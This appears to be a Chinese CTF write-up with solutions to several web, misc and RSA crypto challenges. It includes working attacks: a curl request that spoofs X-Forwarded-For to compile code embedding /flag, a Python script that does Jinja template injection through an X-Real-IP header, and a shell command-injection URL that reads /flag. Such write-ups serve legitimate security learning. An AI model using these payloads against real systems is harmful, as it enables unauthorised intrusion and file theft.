Web1#
查看源碼,有個 js 文件
內容如下:
eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))
base64 解碼
function encryptAndSubmit() {
var _0x1a2b = document['getElementById']('password')['value'];
var _0x2b3c = 'CTF2025';
var _0x3c4d = md5(_0x1a2b + _0x2b3c);
document['getElementById']('encrypted')['value'] = _0x3c4d;
document['getElementById']('password')['value'] = '';
return true;
}
上述代碼的作用是對輸入的密碼進行 md5 加密,md5 加了鹽,如 md5 (password,CTF2025),那麼就可以爆破
burp 設置如下
爆破得到 flag
Web4#
給了附件,main.go 內容為
package main
import (
"context"
"fmt"
"net"
"net/http"
"os"
"os/exec"
"time"
"github.com/gin-gonic/gin"
)
func executeCommandWithTimeout(name string, args ...string) error {
ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
cmd.Dir = os.TempDir()
return cmd.Run()
}
func localhostOnly() gin.HandlerFunc {
return func(c *gin.Context) {
clientIPString := c.ClientIP()
ip := net.ParseIP(clientIPString)
if ip == nil {
c.String(http.StatusBadRequest, "無效的 IP 地址")
c.Abort()
return
}
if !ip.IsLoopback() {
c.String(http.StatusForbidden, "訪問被拒絕。此端點僅允許從本地訪問")
c.Abort()
return
}
c.Next()
}
}
func handleBuild(c *gin.Context) {
body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
defer body.Close()
dir, err := os.MkdirTemp("", "c2_")
if err != nil {
c.String(http.StatusInternalServerError, "創建臨時目錄失敗: %v", err)
return
}
defer os.RemoveAll(dir)
fname := fmt.Sprintf("%s/main.go", dir)
binName := fmt.Sprintf("%s/main", dir)
f, err := os.Create(fname)
if err != nil {
c.String(http.StatusInternalServerError, "創建臨時文件失敗: %v", err)
return
}
defer f.Close()
_, err = f.ReadFrom(body)
if err != nil {
c.String(http.StatusInternalServerError, "讀取請求體失敗: %v", err)
return
}
f.Close()
err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
if err != nil {
c.String(http.StatusInternalServerError, "編譯失敗: %v", err)
return
}
c.File(binName)
}
func main() {
gin.SetMode(gin.ReleaseMode)
router := gin.Default()
router.Use(localhostOnly())
router.POST("/api/build", handleBuild)
fmt.Println("伺服器正在 http://localhost:8989 啟動")
if err := router.Run(":8989"); err != nil {
fmt.Fprintf(os.Stderr, "伺服器啟動失敗: %v\n", err)
os.Exit(1)
}
}
通過 http 的 post 請求,提交 go 代碼給上述代碼,上述代碼對提交的代碼進行編譯,再輸出編譯後的 go 文件
參考:
https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html
準備的 go 文件內容
package main
/*
__asm__ (
".incbin \"/flag\"\n"
);
*/
import "C"
func main() {
}
然後 curl 請求
curl -X POST -H "X-Forwarded-For: 127.0.0.1" --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6
輸出 m6 程序,然後 strings 查找 flag
Web5#
題目:公司最近要參加護網行動,領導決定安排一次郵箱釣魚來提高公司員工對釣魚郵件的警惕性,你的同事小明做了一個簡單的釣魚系統,但是沒過兩天這個網站就被人拿下了,小明說過他用了很多安全的函數來進行渲染這個網站,按理來說不應該被攻破的...
訪問鏈接
填入內容,提交
from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address
app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)
ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# 嘗試從根目錄/flag.txt讀取flag
try:
with open('/flag.txt', 'r') as f:
FLAG = f.read().strip()
except:
FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"
ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"
if not os.path.exists(USERS_FILE):
with open(USERS_FILE, 'w') as f:
json.dump([], f)
def load_users():
try:
with open(USERS_FILE, 'r') as f:
return json.load(f)
except:
return []
def save_users(users):
with open(USERS_FILE, 'w') as f:
json.dump(users, f, indent=4)
def encrypt_data(data):
data = (data + " " * (-len(data) % AES.block_size)).encode()
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
ct_bytes = cipher.iv + cipher.encrypt(data)
return ct_bytes.hex()
def decrypt_data(encrypted_data):
try:
encrypted_data = bytes.fromhex(encrypted_data)
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
padded1 = cipher.decrypt(encrypted_data[16:])
return padded1.decode("ascii", errors="replace").rstrip(" ")
except Exception as e:
print(f"解密錯誤: {e}")
return None
@app.route('/')
def index():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('newPwd1', '')
oldPwd = request.form.get('oldPwd', '')
# 獲取 IP 地址
real_ip = request.headers.get('X-Real-Ip', request.remote_addr)
# 創建 JSON 數據
# user_data = json.dumps({
# 'user': username,
# 'pd1': password,
# 'pd2': oldPwd,
# 'ip': real_ip
# })
# print(f"用戶數據: {user_data}")
# 加密數據以創建令牌
# user = encrypt_data(user_data)
user = encrypt_data(username)
pd1 = encrypt_data(password)
pd2 = encrypt_data(oldPwd)
ip = encrypt_data(real_ip)
return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))
@app.route('/error')
def error():
username = request.args.get('user', '')
password = request.args.get('pd1', '')
oldPwd = request.args.get('pd2', '')
ip = request.args.get('ip', '')
if username and password and oldPwd and ip:
user_data_str = decrypt_data(username)
password_str = decrypt_data(password)
oldPwd_str = decrypt_data(oldPwd)
ip_str = decrypt_data(ip)
user_data = json.dumps({
'username': user_data_str,
'password': password_str,
'oldPwd': oldPwd_str,
'ip': ip_str
})
if user_data_str:
try:
# 讀取 json 用戶數據
user_data = json.loads(user_data)
users = load_users()
users.append(user_data)
save_users(users)
except json.JSONDecodeError:
pass
# 顯示錯誤頁面
return render_template('error.html', cred=user_data)
@app.route('/admin')
def admin():
secret = request.args.get('secret', '')
if secret != ADMIN_SECRET:
return render_template('admin_login.html')
users = load_users()
for user in users:
try:
# 弄個驗證ip的 防止xss攻擊
ip_address(user['ip'])
user['ip'] = render_template_string(user['ip'])
except ValueError:
user['ip'] = render_template_string("無效的 IP 地址")
except Exception as e:
user['ip'] = render_template_string("無效的 IP 地址")
return render_template('admin_panel.html', users=users)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
解題腳本:
#!/usr/bin/env python3
import requests
# 目標伺服器地址
target_url = 'http://111.74.9.131:18054'
# 設置X-Forwarded-For頭為包含惡意模板的字符串
headers = {
'X-Real-IP': '{{ config.get("FLAG", "") }}'
}
# 發送POST請求,註冊惡意用戶
login_data = {
'username': 'attacker',
'newPwd1': 'password',
'oldPwd': 'oldpassword'
}
response = requests.post(
f'{target_url}/login',
headers=headers,
data=login_data
)
# 跳轉到error頁面,數據已存儲到users.json
# 接下來訪問admin面板,從而觸發模板注入
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'
admin_response = requests.get(
f'{target_url}/admin',
params={'secret': admin_secret}
)
# 檢查響應內容,應該包含FLAG的值
print(admin_response.text)
Web3#
ssti 自動化繞過工具
項目地址:https://github.com/Marven11/Fenjing
介紹:焚靖是一個針對 CTF 比賽中 Jinja SSTI 繞過 WAF 的全自動腳本,可以自動攻擊給定的網站或接口,省去手動測試接口,fuzz 題目 WAF 的時間。
安裝及使用
pipx install fenjing
fenjing webui
打開鏈接,界面如下:
填入參數
目標鏈接:http://xx.xx.xx.xx:18055/login
請求方式:POST
表單輸入:需要填寫表單字段,username,password
開始分析,即可自動化遍歷 payload,成功後會有提示,然後在輸出 cat /flag 命令查看 flag
Web2#
http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping
掃描源碼:
Misc2#
一個亂塗亂畫的二維碼,使用支付寶的掃描功能進行掃描
Misc2#
import time
import random
print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))
for i in range(nums):
one = random.randint(0, 10)
two = random.randint(0, 10)
ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))
print("calculating")
timeTotals = pow(2, i)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
if ans != one + two:
print("u are not a good hack")
exit(69)
f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])
nc 運行,輸入 -1 即可繞過
Crypto1#
from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)
# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
解密腳本
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537
m = pow(c, dp ,p)
print(long_to_bytes(m))
flag{dp_is_very_easy}